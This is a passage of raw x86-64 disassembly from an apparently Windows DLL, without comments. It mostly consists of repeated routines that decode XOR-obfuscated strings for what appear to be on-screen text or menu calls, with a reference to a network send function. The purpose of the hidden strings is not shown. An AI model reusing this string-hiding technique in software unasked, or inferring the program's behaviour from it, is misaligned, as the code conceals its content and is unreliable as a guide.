pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800990b1
cmp r8d, 0x15
jge 0x1800991f4
movsxd rax, r8d
lea r9, [rbp + 0x24c0]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x1800991c0
lea rdx, [0x1802490c5]
lea rcx, [rbp + 0x24c0]
call fcn.1800032d0
call fcn.180006c20
call fcn.180013d50
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0x780]
addss xmm0, xmm7
mov dword [rbp + 0x780], 0x44070000
movss dword [rbp + 0x784], xmm0
call fcn.180025700
movzx ecx, word [0x1801c3afc]
lea rdx, [rbp + 0x788]
mov eax, dword [0x1801c3af8]
mov r9d, 8
mov dword [rbp + 0x278], eax
xor r8d, r8d
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x279], 0x37
xor al, 0x3c
xor byte [rbp + 0x27a], 0x38
xor byte [rbp + 0x27b], 0x39
mov word [rbp + 0x27c], cx
xor cl, 0x3a
xor byte [rbp + 0x27d], 0x3b
mov byte [rbp + 0x27c], cl
lea rcx, [rbp + 0x278]
mov dword [rbp + 0x788], 0x43a00000
mov dword [rbp + 0x78c], 0x4405c000
mov byte [rbp + 0x278], Ordinal_79
mov byte [rbp + 0x27e], al
call fcn.18000fcc0
lea rcx, [rbp + 0x790]
call fcn.180016840
movzx eax, byte [0x1801c3b08]
lea rdx, [rbp + 0x798]
movsd xmm0, qword [0x1801c3b00]
lea rcx, [rbp + 0xf48]
movsd qword [rbp + 0xf48], xmm0
xor al, 0x3e
xor byte [rbp + 0xf49], 0x37
xor r9d, r9d
xor byte [rbp + 0xf4a], 0x38
mov r8b, 1
xor byte [rbp + 0xf4b], 0x39
xor byte [rbp + 0xf4c], 0x3a
xor byte [rbp + 0xf4d], 0x3b
xor byte [rbp + 0xf4e], 0x3c
xor byte [rbp + 0xf4f], 0x3d
mov byte [rbp + 0xf50], al
mov dword [rbp + 0x798], 0x43a00000
mov dword [rbp + 0x79c], 0x43ed8000
mov byte [rbp + 0xf48], 0x53
call fcn.180003d00
movzx eax, byte [0x1801c3b18]
lea rdx, [0x1802490e0]
movsd xmm0, qword [0x1801c3b10]
lea rcx, [rbp + 0xf58]
movsd qword [rbp + 0xf58], xmm0
xor al, 0x3e
xor byte [rbp + 0xf59], 0x37
xor byte [rbp + 0xf5a], 0x38
xor byte [rbp + 0xf5b], 0x39
xor byte [rbp + 0xf5c], 0x3a
xor byte [rbp + 0xf5d], 0x3b
xor byte [rbp + 0xf5e], 0x3c
xor byte [rbp + 0xf5f], 0x3d
mov byte [rbp + 0xf60], al
mov byte [rbp + 0xf58], 0x44
call fcn.1800032d0
cmp byte [0x1801c3b2b], r14b
movsd xmm0, qword [0x1801c3b20]
mov eax, dword [0x1801c3b28]
movsd qword [rbp + 0x1458], xmm0
mov dword [rbp + 0x1460], eax
je 0x180099524
mov r8d, r14d
cmp r12d, 2
jl 0x1800994dd
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3b20]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1458], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x145c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x145c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1458]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x1800994f0
lea rdx, [0x1802490e1]
lea rcx, [rbp + 0x1458]
call fcn.1800032d0
cmp byte [0x1801c3b39], r14b
lea rdx, [0x1802490e2]
movsd xmm0, qword [str.rEYN]
lea rcx, [rbp + 0x1188]
movzx eax, word [0x1801c3b38]
movsd qword [rbp + 0x1188], xmm0
mov word [rbp + 0x1190], ax
je 0x1800995b2
xor byte [rbp + 0x1189], 0x37
xor byte [rbp + 0x118a], 0x38
xor byte [rbp + 0x118b], 0x39
xor byte [rbp + 0x118c], 0x3a
xor byte [rbp + 0x118d], 0x3b
xor byte [rbp + 0x118e], 0x3c
xor byte [rbp + 0x118f], 0x3d
xor byte [rbp + 0x1190], 0x3e
xor byte [rbp + 0x1191], 0x3f
mov byte [rbp + 0x1188], 0x44
call fcn.1800032d0
movzx eax, byte [0x1801c3b48]
lea rdx, [0x1802490d8]
movsd xmm0, qword [0x1801c3b40]
lea rcx, [rbp + 0xf68]
movsd qword [rbp + 0xf68], xmm0
xor al, 0x3e
xor byte [rbp + 0xf69], 0x37
mov r9d, 0x3e8
xor byte [rbp + 0xf6a], 0x38
mov r8d, 1
xor byte [rbp + 0xf6b], 0x39
xor byte [rbp + 0xf6c], 0x3a
xor byte [rbp + 0xf6d], 0x3b
xor byte [rbp + 0xf6e], 0x3c
xor byte [rbp + 0xf6f], 0x3d
mov dword [rsp + 0x28], r14d
mov byte [rbp + 0xf70], al
mov byte [rbp + 0xf68], 0x44
mov qword [rsp + 0x20], rbx
call fcn.180008ec0
mov eax, dword [str.eTYU__]
lea rdx, [0x1802490dc]
mov dword [rbp + 0x158], eax
lea rcx, [rbp + 0x158]
movzx eax, word [0x1801c3b50]
mov r9d, reloc.WS2_32.dll_sendto
xor byte [rbp + 0x159], 0x37
xor byte [rbp + 0x15a], 0x38
xor byte [rbp + 0x15b], 0x39
mov word [rbp + 0x15c], ax
xor al, 0x3a
xor byte [rbp + 0x15d], 0x3b
mov byte [rbp + 0x15c], al
mov byte [rbp + 0x158], 0x53
jmp 0x18009aeb8
cmp dword [0x18024dbfc], 3
jne 0x18009a4df
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0x7a0]
addss xmm0, xmm7
mov dword [rbp + 0x7a0], 0x43520000
movss dword [rbp + 0x7a4], xmm0
call fcn.180025700
mov eax, dword [0x1801c3b54]
lea rdx, [rbp + 0x7a8]
mov dword [rbp + 0x60], eax
lea rcx, [rbp + 0x60]
movzx eax, byte [0x1801c3b58]
mov r9d, 8
xor byte [rbp + 0x61], 0x37
xor al, 0x3a
xor byte [rbp + 0x62], 0x38
xor r8d, r8d
xor byte [rbp + 0x63], 0x39
mov byte [rbp + 0x64], al
mov dword [rbp + 0x7a8], 0x43a50000
mov dword [rbp + 0x7ac], 0x4405c000
mov byte [rbp + 0x60], Ordinal_79
call fcn.18000fcc0
cmp byte [0x1801c3b67], r14b
mov rax, qword [str._RPPYWYuVJ]
mov qword [rbp + 0x7b8], rax
mov dword [rbp + 0x7b0], 0x43a00000
mov dword [rbp + 0x7b4], 0x43ed8000
je 0x180099884
cmp r12d, 2
jl 0x180099840
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
movdqa xmm2, xmm15
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x7b8]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
movd dword [rbp + 0x7b8], xmm2
movdqa xmm1, xmm12
pmuldq xmm0, xmm14
movdqa xmm2, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x7bc]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x7bc], xmm2
jmp 0x180099884
lea r9, [rbp + 0x7b8]
mov r8d, r14d
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x180099850
xor r9d, r9d
lea rdx, [rbp + 0x7b0]
mov r8b, 1
lea rcx, [rbp + 0x7b8]
call fcn.180003d00
mov eax, dword [0x1801c3b70]
mov r8d, r14d
movsd xmm0, qword [0x1801c3b68]
mov dword [rbp + 0x1878], eax
movzx eax, byte [0x1801c3b74]
mov byte [rbp + 0x187c], al
movsd qword [rbp + 0x1870], xmm0
cmp r12d, 2
jl 0x1800999c0
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3b68]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1870], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1874]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1874], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1870]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1800999d0
lea rdx, [0x180249124]
lea rcx, [rbp + 0x1870]
call fcn.1800032d0
movzx eax, byte [0x1801c3b80]
lea rdx, [0x180249125]
movsd xmm0, qword [0x1801c3b78]
lea rcx, [rbp + 0xf78]
movsd qword [rbp + 0xf78], xmm0
xor al, 0x3e
xor byte [rbp + 0xf79], 0x37
xor byte [rbp + 0xf7a], 0x38
xor byte [rbp + 0xf7b], 0x39
xor byte [rbp + 0xf7c], 0x3a
xor byte [rbp + 0xf7d], 0x3b
xor byte [rbp + 0xf7e], 0x3c
xor byte [rbp + 0xf7f], 0x3d
mov byte [rbp + 0xf80], al
mov byte [rbp + 0xf78], 0x43
call fcn.1800032d0
movups xmm0, xmmword [0x1801c3b88]
movups xmmword [rbp + 0x1da0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x180099bf4
cmp r12d, 2
jl 0x180099bb5
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1da4]
mov r8d, dword [rsp + 0x70]
mov edx, r14d
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x180099ac0
jmp 0x180099bf4
lea r9, [rbp + 0x1da0]
mov r8d, r14d
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x180099bc0
lea rdx, [0x180249126]
lea rcx, [rbp + 0x1da0]
call fcn.1800032d0
movzx eax, byte [0x1801c3ba8]
mov r8d, r14d
mov byte [rbp + 0x20e0], al
movups xmm0, xmmword [0x1801c3b98]
movups xmmword [rbp + 0x20d0], xmm0
cmp r12d, 2
jl 0x180099d3c
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x20d4]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180099c41
cmp r8d, 0x11
jge 0x180099d84
movsxd rax, r8d
lea r9, [rbp + 0x20d0]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x180099d50
lea rdx, [0x18024900d]
lea rcx, [rbp + 0x20d0]
call fcn.1800032d0
cmp byte [0x18024900d], r14b
je 0x180099f37
call fcn.180016950
addss xmm0, xmm6
call fcn.180025760
cmp byte [0x1801c3bbd], r14b
mov eax, dword [0x1801c3bb8]
movsd xmm0, qword [0x1801c3bb0]
mov dword [rbp + 0x19d8], eax
movzx eax, word [0x1801c3bbc]
mov word [rbp + 0x19dc], ax
movsd qword [rbp + 0x19d0], xmm0
je 0x180099f24
mov r8d, r14d
cmp r12d, 2
jl 0x180099ee3
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3bb0]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x19d0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x19d4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x19d4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x19d0]
add r9, rax
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180099ef0
lea rdx, [0x18024900e]
lea rcx, [rbp + 0x19d0]
call fcn.1800032d0
call fcn.180006c20
call fcn.180013d50
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0x7c0]
addss xmm0, xmm7
mov dword [rbp + 0x7c0], 0x44070000
movss dword [rbp + 0x7c4], xmm0
call fcn.180025700
movzx ecx, word [0x1801c3bc4]
lea rdx, [rbp + 0x7c8]
mov eax, dword [0x1801c3bc0]
mov r9d, 8
mov dword [rbp + 0x280], eax
xor r8d, r8d
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x281], 0x37
xor al, 0x3c
xor byte [rbp + 0x282], 0x38
xor byte [rbp + 0x283], 0x39
mov word [rbp + 0x284], cx
xor cl, 0x3a
xor byte [rbp + 0x285], 0x3b
mov byte [rbp + 0x284], cl
lea rcx, [rbp + 0x280]
mov dword [rbp + 0x7c8], 0x43a00000
mov dword [rbp + 0x7cc], 0x4405c000
mov byte [rbp + 0x280], Ordinal_79
mov byte [rbp + 0x286], al
call fcn.18000fcc0
movzx eax, byte [0x1801c3bd0]
lea rdx, [rbp + 0x7d0]
movsd xmm0, qword [0x1801c3bc8]
lea rcx, [rbp + 0xd18]
movsd qword [rbp + 0xd18], xmm0
xor al, 0x3e
xor byte [rbp + 0xd19], 0x37
xor r9d, r9d
xor byte [rbp + 0xd1a], 0x38
mov r8b, 1
xor byte [rbp + 0xd1b], 0x39
xor byte [rbp + 0xd1c], 0x3a
xor byte [rbp + 0xd1d], 0x3b
xor byte [rbp + 0xd1e], 0x3c
xor byte [rbp + 0xd1f], 0x3d
mov byte [rbp + 0xd20], al
mov dword [rbp + 0x7d0], 0x43a00000
mov dword [rbp + 0x7d4], 0x43ed8000
mov byte [rbp + 0xd18], 0x53
call fcn.180003d00
movzx eax, byte [0x1801c3be0]
lea rdx, [0x180249128]
movsd xmm0, qword [0x1801c3bd8]
lea rcx, [rbp + 0xd28]
movsd qword [rbp + 0xd28], xmm0
xor al, 0x3e
xor byte [rbp + 0xd29], 0x37
mov r9d, 0x3e8
xor byte [rbp + 0xd2a], 0x38
mov r8d, 1
xor byte [rbp + 0xd2b], 0x39
xor byte [rbp + 0xd2c], 0x3a
xor byte [rbp + 0xd2d], 0x3b
xor byte [rbp + 0xd2e], 0x3c
xor byte [rbp + 0xd2f], 0x3d
mov dword [rsp + 0x28], r14d
mov byte [rbp + 0xd30], al
mov byte [rbp + 0xd28], 0x44
mov qword [rsp + 0x20], rbx
call fcn.180008ec0
movzx eax, byte [0x1801c3bf8]
mov r8d, r14d
mov byte [rbp + 0x20f8], al
movups xmm0, xmmword [0x1801c3be8]
movups xmmword [rbp + 0x20e8], xmm0
cmp r12d, 2
jl 0x18009a22b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x20ec]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18009a130
cmp r8d, 0x11
jge 0x18009a274
movsxd rax, r8d
lea r9, [rbp + 0x20e8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x18009a240
mov dword [rsp + 0x28], r14d
lea rdx, [0x180249010]
mov r9d, 0x5a
mov qword [rsp + 0x20], rbx
mov r8d, 1
lea rcx, [rbp + 0x20e8]
call fcn.180008ec0
movdqa xmm1, xmmword [0x1801c6e30]
xorps xmm0, xmm0
mov edx, dword [0x1802494a8]
movups xmmword [rbp + 0x3080], xmm0
mov byte [rbp + 0x3080], r14b
movdqu xmmword [rbp + 0x3090], xmm1
cmp edx, r13d
jne 0x18009a365
cmp byte [0x1801c3c09], r14b
movsd xmm0, qword [0x1801c3c00]
movzx eax, word [0x1801c3c08]
movsd qword [rbp + 0xf98], xmm0
mov word [rbp + 0xfa0], ax
je 0x18009a33a
xor byte [rbp + 0xf99], 0x37
xor byte [rbp + 0xf9a], 0x38
xor byte [rbp + 0xf9b], 0x39
xor byte [rbp + 0xf9c], 0x3a
xor byte [rbp + 0xf9d], 0x3b
xor byte [rbp + 0xf9e], 0x3c
xor byte [rbp + 0xf9f], 0x3d
xor byte [rbp + 0xfa0], 0x3e
xor byte [rbp + 0xfa1], 0x3f
mov byte [rbp + 0xf98], 0x43
lea rax, [rbp + 0xf98]
mov r8, r13
inc r8
cmp byte [rax + r8], r14b
jne 0x18009a344
lea rdx, [rbp + 0xf98]
lea rcx, [rbp + 0x3080]
call fcn.18000ab50
jmp 0x18009a41d
inc edx
lea rcx, [rbp + 0x2c10]
call fcn.1800ea8b0
cmp byte [0x1801c3c19], r14b
movsd xmm0, qword [0x1801c3c10]
movzx ecx, word [0x1801c3c18]
movsd qword [rbp + 0xfa8], xmm0
mov word [rbp + 0xfb0], cx
je 0x18009a3e0
xor byte [rbp + 0xfa9], 0x37
xor byte [rbp + 0xfaa], 0x38
xor byte [rbp + 0xfab], 0x39
xor byte [rbp + 0xfac], 0x3a
xor byte [rbp + 0xfad], 0x3b
xor byte [rbp + 0xfae], 0x3c
xor byte [rbp + 0xfaf], 0x3d
xor byte [rbp + 0xfb0], 0x3e
xor byte [rbp + 0xfb1], 0x3f
mov byte [rbp + 0xfa8], 0x50
mov r8, rax
lea rdx, [rbp + 0xfa8]
lea rcx, [rbp + 0x2c30]
call fcn.180054750
mov rdx, rax
lea rcx, [rbp + 0x3080]
call fcn.180069650
lea rcx, [rbp + 0x2c30]
call fcn.180068dd0
lea rcx, [rbp + 0x2c10]
call fcn.180068dd0
cmp qword [rbp + 0x3098], 0xf
lea rcx, [rbp + 0x3080]
movzx eax, word [0x1801c3c28]
movsd xmm0, qword [0x1801c3c20]
mov word [rbp + 0x1410], ax
movzx eax, byte [0x1801c3c2a]
movsd qword [rbp + 0x1408], xmm0
jbe 0x18009a45a
mov rcx, qword [rbp + 0x3080]
xor byte [rbp + 0x1409], 0x37
lea rdx, [0x1802494a8]
xor byte [rbp + 0x140a], 0x38
xor al, 0x40
xor byte [rbp + 0x140b], 0x39
mov r9d, 2
xor byte [rbp + 0x140c], 0x3a
mov r8d, r13d
xor byte [rbp + 0x140d], 0x3b
xor byte [rbp + 0x140e], 0x3c
xor byte [rbp + 0x140f], 0x3d
xor byte [rbp + 0x1410], 0x3e
xor byte [rbp + 0x1411], 0x3f
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x1408]
mov byte [rbp + 0x1408], 0x53
mov byte [rbp + 0x1412], al
call fcn.180008ec0
lea rcx, [rbp + 0x3080]
call fcn.180068dd0
jmp 0x18009aecd
cmp dword [0x18024dbfc], 4
jne 0x1800ab508
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0x7d8]
addss xmm0, xmm7
mov dword [rbp + 0x7d8], 0x43520000
movss dword [rbp + 0x7dc], xmm0
call fcn.180025700
mov eax, dword [0x1801c3c2c]
lea rdx, [rbp + 0x7e0]
mov dword [rbp + 0x68], eax
lea rcx, [rbp + 0x68]
movzx eax, byte [0x1801c3c30]
mov r9d, 8
xor byte [rbp + 0x69], 0x37
xor al, 0x3a
